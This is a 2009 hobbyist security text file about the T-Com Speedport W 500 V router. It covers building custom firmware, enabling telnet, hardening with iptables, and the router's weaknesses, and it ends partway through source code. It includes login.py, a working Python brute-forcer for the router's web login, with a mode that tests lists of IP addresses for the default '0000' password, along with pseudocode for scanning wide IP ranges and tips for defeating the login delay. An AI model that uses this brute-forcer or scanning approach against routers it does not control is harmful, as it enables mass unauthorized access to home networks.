T-COM LINUX ROUTER SECURITY The T-Com Speedport W 500 V by anon / 13.01.2009 index ----- 0x0 : disclaimer 0x1 : intro 0x2 : router details 0x3 : compiling your own linux 0x4 : enable telnetd ( busybox ) 0x5 : router security 0x6 : some code 0x7 : TCP/IP morse led - red.py 0x8 : HTTP/HTTPS key recovery - login.py 0x0 : disclaimer ---------------- This file contains information about the T-Com Speedport W 500 V router. The information included is for compiling your own linux on the router and how to make the router more secure with your own compiled and configured linux. It also shows some insecurity on that router just as information and includes the source of a HTTP/HTTPS brute force program to recover your key if lost or forgotten. Use this information _wise_ and with care on _your own_ system. -- anon ALL RIGHTS RESERVED by anon. - 2009 0x1 : intro ----------- The paper is splitted into some sections. Section 0x7 "red.py" is a tool which uses "socket" and "time" to translate ASCII signs or a *.TXT file into morse signals to send them over TCP/IP to an (enabled) telnetd server on the linux router side. There a program "ledtest 0|1" will be called to make 4 LEDs of the router flashing the morse signals. Section 0x8 is the source code of a program which makes a brute force attack over HTTP and HTTPS to the router from outside ( internet ) and inside ( localhost ). The program is a proof of concept and can be used to recover your key if it is lost or forgotten. ( login.py ) Section 0x3 is a little introduction and "howto" to compile your own linux system from the sources for your router which means to build your own Linux system with all the software and configuration you want (kernel, daemons, software, mount, your _own_ code etc..) - this is possible because the whole 90 MB source code is online for this router. Thanks to the T-Com for building this nice router and for the sources online. :-) Section 0x5 is a bit about the security of this router and in section 0x2 you get an overview about some router details (hardware & software). And section 0x4 is about how to enable "telnetd" to have access to the whole nice linux system of the router over a shell. ( "login" ) Normally only port 80 and port 443 ( HTTP & HTTPS ) are open for your webserver configuration menu that is what we wanna change - to explore the linux system on that router by compiling our _own_ linux, opening a port (23) with an access shell to the linux system behind - as a little practical example and of course making the router more secure than before with a spotlight on the insecurity of it also with a proof of concept program. - Have fun. 0x2 : router details -------------------- Here are some details about the router - the standard configuration: ------------------------------------------------------------------------- producer: T-COM name: Speedport W 500 V server IP: 192.168.2.1 client IP: 192.168.2.* open inside ports: HTTP/80, HTTPS/443 open outside ports: HTTPS/443 PPPoE: yes DHCP: yes 4 logins in /var/passwd: user , root , nobody , support password by default ( for all 4 ): "0000" password min length: 4 signs password max length: 12 signs password (web conf.) signs: A-Z, a-z, 0-9 total RAM: 14240 kb read/write memory in /var: 128 kb ( the only R/W place ) linux version: 2.6.8.1 gcc 3.4.2 cpu model: BCM6348 V0.7 number of LEDs: 7 buttons: 1 power button, 1 reset button 2 wireless lan antennas ( WLAN ) WLAN encryption: WEP, WPA, WPA2 MAC filter "protection" mount: /dev/mtdblock0 on / type squashfs (ro) /proc on /proc type proc (rw, nodiratime) tmpfs on /var type tmpfs (rw ) HTTP webserver: micro_http / "httpd" browser language needed: HTML, JAVASCRIPT directory list ( "ls /" ): CVS/ bin/ dev/ etc/ lib/ linuxrc mnt/ proc/ sbin/ tmp/ usr/ var/ webs/ some nice tools: cat , dmesg , echo , iptables , kill , ledtest , ls , mkdir , mount , pcscan , ping , ps , pwd , rm , sed , sh , sysinfo , false , true , wlctl , ifconfig , insmod , reboot , route , vconfig , test , expr .. ------------------------------------------------------------------------- This is just a bit to get an overview. If you wanna change something you have to compile your own linux system for this router to enable some usefull daemons, to install new software, for new configurations and of course for your own code maybe. 0x3 : compiling your own linux ------------------------------ If you want your own linux on this system then you have to compile your own linux from the source. First you need the sources for your router. Take a look on an internet searchengine or go to an official T-Com site and look for the sources for your router. A source file could look like this here: "bcm963xxSpeedportW500V.1.*.*_consumer_release.tar.gz" Get it, unpack it with "tar xfz" and install it with the *.sh script. You need a *linux* system of course to install it or at least software like cygwin if you have a windows system. Cygwin is a linux environment which runs under windows. You need also kernel sources and headers for your linux system to compile your own linux system for your router. If your system has problems with the *.rpm files then get the program "alien" and make an "alien *.rpm" in your shell. This command will build the *.deb packets if your system needs it. If the system gives you some error messages then read them and try to understand them and then try to fix them - maybe if you need some more libraries then install them with "apt-get install" or "aptitude" and then make a "dpkg -i *.deb" and try to install them again. If you dont get it: get a searchengine and search for help - this is not a linux howto. After all went well we can enter "/opt/bcm963xx_router/" where our source code is. If we now wanna build our own linux system ( update for the router ) we have to give a "make PROFILE=$YOUR_PROFILE" for example "make PROFILE=96359R" into our shell. The right profile name you will find in "target/". If all went well we have now our update file in "images/". Now we can connect with our browser to our router to make a software update if you wanna try or test it. But we can do better things of course like compiling our *own* software and set our own configurations we want to run on the linux router. Just look around in "kernel/linux" - the directory for the kernel sources - and make some changes if you want or go to "userapps/opensource/" - the directory for the sources of linux and change what you want and add what you need and then compile your system again and install the new image. Again: if you become error messages then try to understand them and then try to fix them - read them carefully because they contain often a lot to fix the problem. You can also read the source help files of the program you wanna compile or the source code itself - this is a lot of help and a good read of course. Some important files which you have to edit maybe are: /opt/bcm963xx_router/userapps/opensource/busybox/brcm.config /opt/bcm963xx_router/Makefile /opt/bcm963xx_router/targets/defaultcfg/default.xml /opt/bcm963xx_router/targets/fs.src/etc/* "brcm.config" you need to enable services like "telnetd" ( which we will do in section 0x4 ) , "Makefile" to build the system ( you can edit it to add more what is to compile f.e.: sshd ) , "default.xml" you need to enable services like FTP, HTTP, telnet and so on and in "../etc/*" we have lots of files from linux itself which we have to edit maybe. That is all so far to know as a *little* overview. If you just wanna get an update file to open port 23 ( telnet ) on your router without doing / compiling it for yourself you can search for "mod500" at "www.sf.net" - thankfully someone compiled an update to open port 23 with "busybox" / "telnetd" behind. ( 3.3 MB ) "mod500" also contains a *.tar.gz file with all the sources from the update. 0x4 : enable telnetd -------------------- Now here is a little example with "busybox & telnetd" to show you how to open port 23 ( the telnet port ) that we can enter the linux system to play around with it. Busybox is the program which calls telnetd - so telnetd is compiled into busybox. Busybox is a main program and includes the most programs which run on your linux router box - a few to mention are: ls , sh , echo , mount , rm , kill , dmesg , sysinfo - and so on. You see the program runs the most import programs from within, thus you can compile busybox very small. So to enable "telnetd" we have to edit these 3 files here: /opt/bcm963xx_router/userapps/opensource/busybox/brcm.config /opt/bcm963xx_router/targets/defaultcfg/default.xml /opt/bcm963xx_router/targets/fs.src/etc/init.d/rcS In the file "brcm.config" you have to change a bit (uncomment) and add that it looks like this here: "CONFIG_FEATURE_SUID=y CONFIG_FEATURE_SUID_CONFIG=y CONFIG_FEATURE_SUID_CONFIG_QUIET=y CONFIG_LOGIN=y CONFIG_FEATURE_SECURETTY=y CONFIG_TELNETD=y" In "default.xml" we change "disable" to "enable" for telnet: "" And finally in the file "rcS" in "/etc/" we add the following line for opening port 23 ( telnet ) at the boot of the linux system: "/usr/sbin/telnetd telnetd -l /bin/login" As a little optic feature you could also edit this file here: /opt/bcm963xx_router/userapps/broadcom/cfm/html_t_online_fra/index.htm This is the index for the configuration menu, you could edit it to put your own text or pictures in it for your own configuration menu. That is all folks. Now we go directly into the "/opt/bcm963xx_router/" directory and type in our shell like mentioned above: "make PROFILE=$YOUR_PROFILE" and after the whole compiling process you should find your new update linux image to open the telnetd port 23 in "images/". Open your browser connect to the HTML configuration menu of your router with IP "192.168.2.1" and install / upload the update. If you do a nmap scan now on port 23 we will see that it is open now - with "nmap 192.168.2.1 -p 23" the following screen will be seen: Starting Nmap 3.11 ( http://www.insecure.org/nmap/ ) Interesting ports on 192.168.2.1: PORT STATE SERVICE 23/tcp open telnet MAC Address: 00:00:00:00:00:00 (Tecom Co.) Nmap finished: 1 IP address (1 host up) scanned in 10.180 seconds To connect to your new remote linux shell on your router you need a telnet program and in your shell you have to type: "telnet 192.168.2.1" and the following screen comes: Trying 192.168.2.1... Connected to 192.168.2.1. Escape character is '^]'. (none) login: root Password: 0000 BusyBox v1.00 (2009.01.13-00:00+0000) Built-in shell (msh) Enter 'help' for a list of built-in commands. # cat /proc/version Linux version 2.6.8.1 (root@linux) (gcc version 3.4.2) # exit Connection closed by foreign host. "cat" is a program to show the content of files to stdout and with "exit" we close our connection to the router. Now we have *access*. :-) 0x5 : router security --------------------- This here is a little overview about the security of this router. It is not complete surely and this section covers only a bit so there is much more insecurity on this router maybe / probably. passwords --------- This router has a weak password security from standard which means the default password is "0000" - the really insecure situation is if _you_ dont change it. The password security on the webserver HTML menu is also very low because you dont have the special signs to make a password f.e. "$#&?!@" and so on. You only have all uppercase letters from A-Z, all lowercase letters too from a-z and of course all numbers from 0-9 - but that is all and that is insecure. Because the *more* signs you have the more *strong* is your password. The password length is from 4 signs to 12 signs. You should always make a password with all 12 signs. Make a password which is in no dictionary and looks like random signs like: 8rhLFdH36495 - here we have upper case, lowercase and numbers and that is the "most" secure password which is possible on that HTML configuration menu. If you will ever forgot your password you can just push the reset button but then all your account data inside is lost and you have to edit it again - if you dont have it anymore you have to ask your ISP. ( Internet Service Provider ) The reason for the low password security or the weak password without the special signs is simply that T-Com installed a very *old* version from passwd.c which indeed only supports letters and numbers. Now this was a very bad idea. But really: most software on this router is very old maybe or probably to keep the system small. Most older versions of software are much smaller also because they have not so much features. Thus, also from a software point of view, the security is very weak because old software contains lots of bugs which are like open doors for unwanted attackers. This old version from passwd.c only supports passwords with a length of 8 signs but in their HTML web configuration menu you can make a password with the length of 12 signs for WEB access - but this is a joke because passwd will only accept 8 signs which means: if you made this password: "0123456789AF" over the HTML web configuration menu and you give it to your linux shell when you enter it over telnet - then it will take it - but if you give the password "01234567" to the telnet shell it will also take it because it can *only* handle 8 signs. Though the HTML web configuration menu only accepts the 12 signs. You should try to compile a new version from passwd.c and then you can change the password and make a strong password with the special signs included for shell access. Probably you also need to change some JAVA code inside of the HTML web configuration sites - there it is set that you can only enter letters and numbers but no special signs. remote control -------------- Somebody from outside can connect to your router if he has your IP - he just have to open a browser and entering the following URL: "https://your_IP" - "http://.." will not functioning because the remote function only supports SSL / HTTPS / port 443. This is "nice" because it is encrypted but this is insecure too because somebody can connect to your router and you _cant_ disable it over _the HTML menu_ if you dont want it or need it. But we can close it with a self compiled linux update from the sources - - for example with the help of "iptables" and a ruleset in "/etc/init.d/rcS" to drop packets from the remote port HTTPS / 443. ( drop every packet what has the destination port 443 - "man iptables" for more help ) The standard rule for INPUT (ACCEPT) for REMOTE_ACCESS on the router is: Chain INPUT (policy ACCEPT) target prot opt source destination REMOTE_ACCESS tcp -- anywhere anywhere tcp dpt:https This is what we exactly would have to change to drop these 443 packets. Because REMOTE_ACCESS is the second ( 2. ) line in our INPUT table we have to give iptables a rule that it will exactly delete the second line - we will do this with this command: iptables -D INPUT 2 Then we delete the whole REMOTE_ACCESS table with: iptables -X REMOTE_ACCESS Now we will insert the rule that iptables will drop all packets that wanna reach our server from the outside with port 443: iptables -I INPUT -p tcp -m tcp --dport https DROP -i $INTERFACE If we add these 3 rule lines to rcS in etc then iptables will use these rules with every boot your router makes. $INTERFACE is the interface we choose - so if we wanna drop for wl0 , br0 or eth0 - if we dont set the "-i" option then iptables will drop *all* https traffic no matter from which interface the traffic will come. You must add them before you compile your linux system. You could also change the URL for the HTML password login to your own *.html site which an attacker can not know - the directory for doing it is this here: /opt/bcm963xx_router/userapps/broadcom/cfm/html_t_online_fra/ If someone has access to your router he could disable your firwall, he could install a new linux update where "iptables" ( the linux firewall ) is disabled and / or he could also install some sniffers to control your data streams and if he finds something interesting like a password he could send it directly to his account. He also could hack from the router into your computer. Or he could just log your emails, scanning for private pictures and so on. I really recommend to _disable_ 443. little scenario --------------- One attacking scenario from an attacker could be a tool which will test any router in an IP range for the version of the router to find out what kind of router it is and if the tool knows it is a "Tecom" router then it could then try to exploit or brute force the running webserverhttpd. If the exploit try has success then the program will log the IP from the router and will try to scan the next ones in the range until the "while" or "for" loop is ready. The attacker could also just look into some HTML URLs to look if he finds a hint for the "0000" password there. If the program knows that the router is the one for what it has searched for then he could log this hint also in that way. The basic code concept for this attack could look like this: for test_router in ip_range( start_IP , end_IP ) try connect( d_IP , d_port_80 ) test_router try get( router_details || r_version || 0000_hint ) if success: log ; try_exploit if success: log ; make_install || brute_force ; break else: log ; break You can also give "login.py" a file with a few / range IPs in it to test every single IP for the weak "0000" password. If success the data is shown and logged. ( proof of concept code ) This is the basic concept for the attacking code. After the scan of the attacker is done the attacker will look in the results of his log file and can now try to attack the system he wants. You see this is probably a huge attack because the code attacks a whole range of router IPs - it could scan the whole internet or a special IP range and could cause a lot of damage probably. So the solution is: configure your firewall well - that HTTPS is rejected from outside , drop all incoming stuff from the internet side so that access have only IPs to what you have connected from the *inside* of your system. And of course try to get updates for the software which runs on that server and rebuild the linux system. The attack to guess what kind of server version runs on a machine is called fingerprinting. To attack this router here we could really do it with a simple TCP/IP *connect* - what happens then is that the router will give us an error message which includes the service which is behind port 80 and that is "micro_httpd". The basic code concept above you use to attack the micro_httpd server itself of course - you just have to look into the source and you will see what kind of version is running from standard on this router / http server. ( the nmap sources will teach you a lot about fingerprinting ) MAC filter "protection" ----------------------- The "security" of this router also includes the so called MAC filter protection which means in theory that only systems can connect to the router with the right MAC address of the hardware. But we can clone or double an existing MAC address with the help of "ifconfig" for example. The only thing to do from the attacker side is to get the MAC from the victim ( maybe with a WIFI sniffer or with a scanner ) and then using this command here to clone this MAC address: ifconfig $INTERFACE hw ether 00:00:00:00:00:00 That is all to do. With the cloned MAC address he can now connect to the system of the victim. You could change your personal MAC address daily - with this an attacker would have it a bit harder to attack your system. Brute force is here also possible but probably not necessary. You could also use this to make your system more anonymous. WIFI encryption --------------- This section here we will make short because the only thing to say here is that WEP and WPA encryption is not secure - there is a lot of software out there ( f.e. aircrack ) to break this encryption very fast. Use WPA2 it is more secure but probably not totally secure - use always the longest encryption key with 63 signs and make a strong password. If you can just use ethernet on your system connected with your router because it is not visible on air and it needs no encryption - so you can not attack it like WIFI of course. So if the router is next to your computer and you dont move your computer ( laptop ) then you should just use ethernet. All encryption protocols here for WIFI can be attacked by a brute force attack to guess the encryption key. old software ------------ Like said before in the passwd.c example. The most software which runs on this router from standard is old and buggy of course which means that there is a lot to attack inside of the running software environment. The "httpd" server for example on this machine is version 1.3.5 from 2004 so it is already over 4 years old which means it includes a lot of bugs to exploit the system probably. So the only thing which helps here are *updates* from the software you run on this linux router system. Look into the source codes for more details - they are always a good read. JAVA time "protection" ---------------------- The login menu uses JAVA "protection" code to prevent people from entering passwords in a short of time. So if you enter a false password then you have to wait a delay of time. If you enter again a false password then the delay is bigger than the delay before, this happens with every false login so the delay becomes bigger and bigger with every false login / password. To avoid this an attacker can just turn off JAVA and JAVA script - then you can enter many passwords in a short time and no time delay will happen. With this a brute force attack is also possible over HTTPS until the right password was sent with a "POST /start.login P1=$PW" - you will see that the right password was sent when a special HTML site will be sent back to you. This brute force attack can happen over HTTP and HTTPS and is shown as proof of concept for key recovery in section 0x8. ( python source code ) Because now there is _no_ delay of time the brute force attack will be fast. And because we have only numbers and letters the attack is even more fast. Sorry to say that but the security of this router from standard is very *weak* and easy to break. But it is never the less a nice router to play with. 0x6 : some code --------------- Here will follow some little programs which i have coded. red.py is a program which connects to telnetd on the router and then it is sending morse signals translated from normal text / ASCII letters. The router will call the program "testled" with status 0 or 1 which means lights on or off to send the morse signals over the LEDs of the router - so you can send morse signals with the LEDs of your router over TCP/IP. 2 examples: python red.py -t "hello" python red.py -f text.txt login.py is a HTTP/HTTPS ( SSL ) brute force / key recovery tool in case you lost or forgot your password and also a proof of concept for the T-Com Speedport W 500 V linux router. 3 examples: python login.py 192.168.2.1 443 -d password.txt python login.py 192.168.2.1 80 -n 2000 python login.py SCANNAME 80 -r ips.txt Here are 3 sessions: anon@box$ python login.py IPRANGE 443 -r ips.txt T-Com Login - HTTP / HTTPS brute force / By: anon / Version: 0.1 Trying brute force on IPRANGE port 443 with option: -r Logging is: ON Trying weak password at router: 192.168.1.1 FOUND PASSWORD. Password is: 0000 . 192.168.2.66 Failed to send request. 192.168.2.34 Failed to send request. 192.168.2.61 Failed to send request. 192.168.2.1 FOUND PASSWORD. Password is: 0000 . End of scan. Exit. --- anon@box$ python login.py 192.168.2.1 443 -d pw.txt T-Com Login - HTTP / HTTPS brute force / By: anon / Version: 0.1 Trying brute force on 192.168.2.1 port 443 with option: -d Logging is: ON Trying passwords: ADMIN 1234567 ROOT abcdefgh LINUX UNIX 0000 FOUND PASSWORD. Password is: 0000 . Exit. --- anon@box$ python login.py 192.168.2.1 80 -n 200 T-Com Login - HTTP / HTTPS brute force / By: anon / Version: 0.1 Trying brute force on 192.168.2.1 port 80 with option: -n Logging is: ON Trying passwords: .... 1109 1110 1111 .... 1234 FOUND PASSWORD. Password is: 1234 . Exit. The programs are written in python ( www.python.org ) and more details and how to use the programs you will find in the following source codes. The sources are uuencoded. By the way you can decode and encode uu files with/in python directly, look ( out of topic ;-) ): >>> import uu; from uu import * >>> uu.encode("red.py", "red.py.uu") >>> uu.decode("login.py.uu", "login.py") Thanks for reading - take care of you. Cheers & happy exploring! -- anon 0x7 : TCP/IP morse led - red.py ------------------------------- ### red.py ### ########################################################################## # # PROJECT: RED - routeR morsE leD # AUTHOR: anon # DATE: 13.01.2009 # VERSION: 0.1 # SOFTWARE: python 2.4.4, ledtest, red_*.py, linux, telnetd # OS: linux debian # HARDWARE: T-Com Speedport W 500 V # FILES: red.py # # USE: # python red.*.py [-tf] "morse text" OR *.TXT # # -t : text only - input from stdin # -f : file.txt - input from a file # -h : for help screen # # INFO: # routeR morsE leD - using "telnetd" ( or "sshd" etc. ), "ledtest" # on the router and this python tool as a TCP/IP client to send # morse signals to the LEDs of your linux router over the ethernet # connection. # # I decided to make this little funny tool with python - sending # the signals with a "sleep" over ethernet to telnetd using TCP/IP # to the linux router. The python code on your computer makes # everything - the only thing what happens on the router side is # "ledtest 0|2". So this here is our *.py morse client. # # This is just a basic idea for a fun (help?) project: turning your # router into a LED morse box. But you can really use this maybe for # sending a "S O S" if you would ever need it. Or if you have friends # and they live in your near then you could send them morse messages # out of your window or something like that. On the T-Com Speedport # 4 LED lights are flashing on and off so the morse signs are easy # to detect at night. # # "S O S" in morse is: *** --- *** which means 3 times short, 3 times # long and 3 times short again. Which means the LEDs are flashing 3 # times short , 3 times long and 3 times short again. # # The program includes the logging of what you sent as morse signs # and you can also give the program a TXT/ASCII file to read it and # send it as morse - it is all stored in a *.TXT logging file if you # want. You can also disable the signals for the router then "stdout" # is used instead. # # The program is included in the paper: tcom_router.txt - "T-COM LINUX # ROUTER SECURITY - The T-Com Speedport W 500 V - by anon / 01.2009 # # ALL RIGHTS RESERVED BY anon - 2009 # ########################################################################## # some info AUTHOR="anon" VERSION="0.1" MSG="RED - routeR morsE leD" # needed libraries import socket; from socket import * import time; from time import * import sys; from sys import * import string; from string import * # you may have to edit this here # the log file - we only log from stdin LOGFILE="red_log.txt" # logging on or off LOGGING="ON" # port and IP PORT=23 IP="192.168.2.1" # telnet or ssh login & password LOGIN="root" PW="0000" # morse seconds for lights on # "-" = long , "*" = short LONG=int(2) SHORT="0.5" SLEEP=int(1) # morse dictionary from morse.c from FreeBSD ( Thanks! ) # translated into a python dictionary morsetable={'a':".-" , 'b':"-..." , 'c':"-.-." , 'd':"-.." , 'e':"." , \ 'f':"..-." , 'g':"--." , 'h':"...." , 'i':".." , 'j':".---" , 'k':"-.-" , 'l':".-.." , \ 'm':"--" , 'n':"-." , 'o':"---" , 'p':".--." , 'q':"--.-" , 'r':".-." , 's':"..." , \ 't':"-" , 'u':"..-" , 'v':"...-" , 'w':".--" , 'x':"-..-" , 'y':"-.--" , 'z':"--.." , \ 'A':".-" , 'B':"-..." , 'C':"-.-." , 'D':"-.." , 'E':"." , \ 'F':"..-." , 'G':"--." , 'H':"...." , 'I':".." , 'J':".---" , 'K':"-.-" , 'L':".-.." , \ 'M':"--" , 'N':"-." , 'O':"---" , 'P':".--." , 'Q':"--.-" , 'R':".-." , 'S':"..." , \ 'T':"-" , 'U':"..-" , 'V':"...-" , 'W':".--" , 'X':"-..-" , 'Y':"-.--" , 'Z':"--.." , \ '0':"-----" , '1':".----" , '2':"..---" , '3':"...--" , '4':"....-", '5':"....." , \ '6':"-...." , '7':"--..." , '8':"---.." , '9':"----." , ',':"--..--" , '.':".-.-.-" , \ '"':".-..-." , '!':"..--." , '?':"..--..", '/':"-..-." , '-':"-....-" , '=':"-...-" , \ ':':"---..." , ';':"-.-.-." , '(':"-.--." , ')':"-.--.-" , '$':"...-..-" , '+':".-.-." , \ '@':".--.-." , '#':".-..." , '&':"...-.-" , '*':"...-." , '%':"-...-.-", ' ':" "} # the help function def info(): print MSG+" / By: "+AUTHOR+" / Version: "+VERSION+"\n" print " Usage:\n\t python red.py [-tf] \"some text\" | file.txt" print " Examples:\n\t python red.py -t \"S O S\"" print " \t python red.py -f file.txt" print " \t python red.py -h \n" # print help if not enough arguments if len(argv) < 3: info() # exit exit() # if -h given then print the help screen if argv[1] == "-h": info() # exit exit() # the main function def morse(): # print some NFO print MSG+" / By: "+AUTHOR+" / Version: "+VERSION print "Long: "+str(LONG)+" second(s) ; Short: "+str(SHORT)+" second(s)\n" # try to open socket try: sock=socket(AF_INET, SOCK_STREAM) print "Created socket." # if we have no success except: print "Failed to create socket. Exit." exit() # try to connect to IP and port try: sock.connect((IP, PORT)) print "Connected to "+str(IP)+" on port "+str(PORT) except: print "Failed to connect. Exit." exit() # some sleep otherwise we are too fast sleep(0.5) # try to login try: sock.send(LOGIN+"\r\n") print "Login: "+LOGIN except: print "Login failed. Exit." exit() # some sleep sleep(0.5) # try password try: sock.send(PW+"\r\n") print "Password: "+PW+"\n" except: print "Password login failed. Exit." exit() # some sleep sleep(0.5) # if we have normal text if argv[1] == "-t": # create text text = argv[2] # is logging on ? if LOGGING == "ON": r=open(LOGFILE, "a") r.write("Begin morse session: "+str(asctime())+"\n") r.write("Morse text: "+str(text)+"\n\n") r.close() # every sign for z in str(text): # print to screen the char print z # get the morse signal for u in morsetable.get(z): # print morse signal to screen print u # sleep and break if str(u) == " ": sleep(1) break # the - sign if str(u) == "-": # lights ON sock.send("ledtest 1\r\n") sleep(LONG) # lights OFF sock.send("ledtest 0\r\n") sleep(SLEEP) # the . sign if str(u) == ".": # lights ON sock.send("ledtest 1\r\n") sleep(0.5) # lights OFF sock.send("ledtest 0\r\n") sleep(SLEEP) sleep(SLEEP) # if we have a text file if argv[1] == "-f": file = argv[2] # try open text file try: f=open(file, "r") except: print "Cant open file. Exit" exit() # read file for h in f.readlines(): # every sign for z in h[:-1]: # print to screen the char print z # get the morse signal for u in morsetable.get(z): # print morse signal to screen print u # sleep and break if str(u) == " ": sleep(1) break # the - sign if str(u) == "-": # lights ON sock.send("ledtest 1\r\n") sleep(LONG) # lights OFF sock.send("ledtest 0\r\n") sleep(SLEEP) # the . sign if str(u) == ".": # lights ON sock.send("ledtest 1\r\n") sleep(0.5) # lights OFF sock.send("ledtest 0\r\n") sleep(SLEEP) sleep(SLEEP) # closing socket connection print "\nClosing Connection. Exit.\n" sock.shutdown(0) sock.close() # calling our function morse morse() # EOF 0x8 : HTTP/HTTPS key recovery - login.py ---------------------------------------- ### login.py ### ########################################################################## # # PROJECT: HTTP/HTTPS password recovery - SSL/HTTP brute force # AUTHOR: anon # DATE: 13.01.2009 # BUILD & TESTED ON: linux debian # VERSION: 0.1 # SOFTWARE: python 2.4.4 # HARDWARE: T-Com Speedport W 500 V # FILES: login.py # # USE: # python login.py IP PORT [-dn] dictionary OR numbers # python login.py NAME PORT -r IP_range_file # # -d : a dictionary file - TXT or whatever # -n : a $number - means range(0, $number) # PORT : port can be 80 or 443 ( SSL ) # IP : the router IP of course # -h : help screen # -r : a textfile with IP numbers to try the "0000" PW # NAME : name of your scan # # INFO: # login.py is a brute force utility to recover your key from a T-Com # Speedport W 500 V linux router if it is lost or forgotten. Logging the # guessed password is also possible. The SSL attack is slow though. Read # the source for more info and play around with the range generation. # # # THE SOFTWARE AND THE PAPER IS WRITTEN TO TEST AND MAKE # THESE THINGS ON YOUR _OWN_ SYSTEM / COMPUTER. I DIDNT # WROTE AND CODED IT FOR CRIMINAL ACTIONS. PERIOD. -- anon # # # The program is included in the paper: tcom_router.txt - "T-COM LINUX # ROUTER SECURITY - The T-Com Speedport W 500 V - by anon / 01.2009 # # ALL RIGHTS RESERVED by anon. - 2009 # ########################################################################## # some info AUTHOR="anon" VERSION="0.1" MSG="T-Com Login - HTTP / HTTPS brute force" # some needed libraries import httplib; from httplib import * import urllib; from urllib import * import sys; from sys import * import time; from time import * # standard password PW="0000" # logging LOGGING="ON" LOGFILE="login_log.txt" # for the packet we need HEADER = {"Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain"} # help function def info(): print MSG+" / By: "+AUTHOR+" / Version: "+VERSION+"\n" print " Usage:\n\t python login.py IP PORT [-dn] file.txt OR number" print " Examples:\n\t python login.py 192.168.2.1 443 -n 9231" print " \t python login.py 192.168.2.1 80 -d passwords.txt" print " \t python login.py SCANNAME 80 -r ips.txt" print " \t python login.py -h \n" def bf(): # print some info print MSG+" / By: "+AUTHOR+" / Version: "+VERSION print "Trying brute force on "+str(IP)+" port "+str(PORT)+" with option: "+str(OPT) print "Logging is: "+str(LOGGING)+"\n" # if not port 80 or 443 if int(PORT) != 443 and int(PORT) != 80: print "Port must be 443 ( SSL ) or 80 ( HTTP ). Exit." exit() # do we wanna log ? if LOGGING == "ON": # open logfile an write file=open(LOGFILE, "a") file.write("Begin logging: "+str(asctime())+"\n") file.write("Router: "+str(IP)+"\n") file.write("Port: "+str(PORT)+"\n") file.write("Option: "+str(OPT)+"\n") # if we wanna brute force with numbers if OPT == "-n": print "Trying passwords: " # create range - PW length is 4 on the router for x in range(0, int(IN)+1): # for x in range(1000, int(IN)+1001): print str(x) # test for HTTP / HTTPS if int(PORT) == 80: # try to connect to IP with 80 / HTTP try: con = httplib.HTTPConnection(str(IP)+":"+str(PORT)) except: print "Failed to connect. Exit." exit() # make POST /start.login and try password try: PARAMS = urllib.urlencode({'P1': int(x)}) con.request("POST", "/start.login", PARAMS, HEADER) except: print "Failed to send request." exit() # get data response = con.getresponse() data = response.read() # is there the sign we had success ( the word banner ) if "banner.htm" in data: print "\nFOUND PASSWORD. Password is: "+str(x)+" . Exit.\n" # write logging if LOGGING == "ON": file.write("Password is: "+str(x)+"\n\n") file.close() exit() # HTTPS / SSL if int(PORT) == 443: # try to connect to IP with 443 / SSL try: con = httplib.HTTPSConnection(str(IP)+":"+str(PORT)) except: print "Failed to connect. Exit." exit() # make POST /start.login and try password try: PARAMS = urllib.urlencode({'P1': int(x)}) con.request("POST", "/start.login", PARAMS, HEADER) except: print "Failed to send request." exit() # get data response = con.getresponse() data = response.read() # is there the sign we had success ( the word banner ) if "banner.htm" in data: print "\nFOUND PASSWORD. Password is: "+str(x)+" . Exit.\n" # write logging if LOGGING == "ON": file.write("Password is: "+str(x)+"\n\n") file.close() exit() print "\nPassword NOT found. Exit.\n" # close file if LOGGING == "ON": # close logfile file.write("Password NOT found.\n\n") file.close() exit() # if we wanna brute force with a password file / dictionary if OPT == "-d": print "Trying passwords: " # open file in read only mode try: pwfile=open(IN, "r") except: print "Cant open PW file. Exit." exit() # try every password for x in pwfile.readlines(): print str(x[:-1]) # test for HTTP / HTTPS if int(PORT) == 80: # try to connect to IP with 80 / HTTP try: con = httplib.HTTPConnection(str(IP)+":"+str(PORT)) except: print "Failed to connect. Exit." exit() # make POST /start.login and try password try: PARAMS = urllib.urlencode({'P1': str(x[:-1])}) con.request("POST", "/start.login", PARAMS, HEADER) except: print "Failed to send request." exit() # get data response = con.getresponse() data = response.read() # is there the sign we had success ( the word banner ) if "banner.htm" in data: print "\nFOUND PASSWORD. Password is: "+str(x[:-1])+" . Exit.\n" # write logging if LOGGING == "ON": file.write("Password is: "+str(x[:-1])+"\n\n") file.close() exit() # HTTPS / SSL if int(PORT) == 443: # try to connect to IP with 443 / SSL try: con = httplib.HTTPSConnection(str(IP)+":"+str(PORT)) except: print "Failed to connect. Exit." exit() # make POST /start.login and try password try: PARAMS = urllib.urlencode({'P1': str(x[:-1])}) con.request("POST", "/start.login", PARAMS, HEADER) except: print "Failed to send request." exit() # get data response = con.getresponse() data = response.read() # is there the sign we had success ( the word banner ) if "banner.htm" in data: print "\nFOUND PASSWORD. Password is: "+str(x[:-1])+" . Exit.\n" # write logging if LOGGING == "ON": file.write("Password is: "+str(x[:-1])+"\n\n") file.close() exit() print "\nPassword NOT found. Exit.\n" # close file if LOGGING == "ON": # close logfile file.write("Password NOT found.\n\n") file.close() exit() # test an IP range from a textfile for the weak "0000" password if OPT == "-r": print "Trying weak password at router: " # open file in read only mode try: ips=open(IN, "r") except: print "Cant open IP range file. Exit." exit() # try every password for x in ips.readlines(): print str(x[:-1]) # test for HTTP / HTTPS if int(PORT) == 80: # try to connect to IP with 80 / HTTP try: con = httplib.HTTPConnection(str(x[:-1])+":"+str(PORT)) except: print "Failed to connect. Exit." continue # make POST /start.login and try 0000 password try: PARAMS = urllib.urlencode({'P1': str(PW)}) con.request("POST", "/start.login", PARAMS, HEADER) except: print "Failed to send request." continue # get data response = con.getresponse() data = response.read() # is there the sign we had success ( the word banner ) if "banner.htm" in data: print "\nFOUND PASSWORD. Password is: "+str(PW)+" .\n" # write logging if LOGGING == "ON": file.write(str(x[:-1])+" Password is: "+str(PW)+"\n") continue # HTTPS / SSL if int(PORT) == 443: # try to connect to IP with 443 / SSL try: con = httplib.HTTPSConnection(str(x[:-1])+":"+str(PORT)) except: print "Failed to connect. Exit." continue # make POST /start.login and try password try: PARAMS = urllib.urlencode({'P1': str(PW)}) con.request("POST", "/start.login", PARAMS, HEADER) except: print "Failed to send request." continue # get data response = con.getresponse() data = response.read() # is there the sign we had success ( the word banner ) if "banner.htm" in data: print "\nFOUND PASSWORD. Password is: "+str(PW)+" .\n" # write logging if LOGGING == "ON": file.write(str(x[:-1])+" Password is: "+str(PW)+"\n") continue print "\nEnd of scan. Exit.\n" # close file if LOGGING == "ON": # close logfile file.write("End of 